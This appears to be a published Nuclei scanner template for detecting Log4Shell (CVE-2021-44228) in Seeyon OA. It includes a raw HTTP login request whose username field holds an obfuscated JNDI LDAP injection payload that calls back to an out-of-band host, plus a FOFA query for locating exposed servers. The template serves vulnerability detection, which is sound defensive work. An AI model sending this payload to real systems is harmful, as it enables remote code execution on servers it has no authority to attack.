Seeyon OA (Log4j) - Remote Code Execution

ID: seeyon-oa-log4j

Severity: critical

Author: SleepingBag945

Tags: cve,cve2021,rce,jndi,log4j,seeyon-oa,kev,oast

Description

Seeyon OA is susceptible to remote code execution via the Apache Log4j 2 library prior to 2.15.0 by recording its own log information, specifically with specially crafted values sent as user input. Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI-related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

YAML Source

id: seeyon-oa-log4j

info:
  name: Seeyon OA (Log4j) - Remote Code Execution
  author: SleepingBag945
  severity: critical
  description: |
    Seeyon OA is susceptible to remote code execution via the Apache Log4j 2 library prior to 2.15.0 by recording its own log information, specifically with specially crafted values sent as user input. Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI-related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
  reference:
    - https://github.com/achuna33/MYExploit/blob/8ffbf7ee60cbd77ad90b0831b93846aba224ab29/src/main/java/com/achuna33/Controllers/SeeyonController.java
    - https://blog.csdn.net/xd_2021/article/details/122232463
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
    cpe: cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="致远互联-OA"
    product: log4j
    vendor: apache
  tags: cve,cve2021,rce,jndi,log4j,seeyon-oa,kev,oast

http:
  - raw:
      - |
        POST /seeyon/main.do?method=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        authorization=&login.timezone=GMT+8:00&province=&city=&rectangle=&login_username=${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://{{interactsh-url}}}

    matchers:
      - type: dsl
        dsl:
          - "len(body) == 0"
          - "status_code == 302"
          - 'contains(interactsh_protocol, "dns")'
          - "contains(tolower(header), '/seeyon/main.do')"
        condition: and
# digest: 490a0046304402205fa237518f299b5a606a7b4b715654152e02fb63974dac14f555869089747378022017d6d53603a31c498f5a7beca81c84a7e74d63611ffedbaa9fac1d3b5f0cc206:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/seeyon-oa-log4j.yaml"

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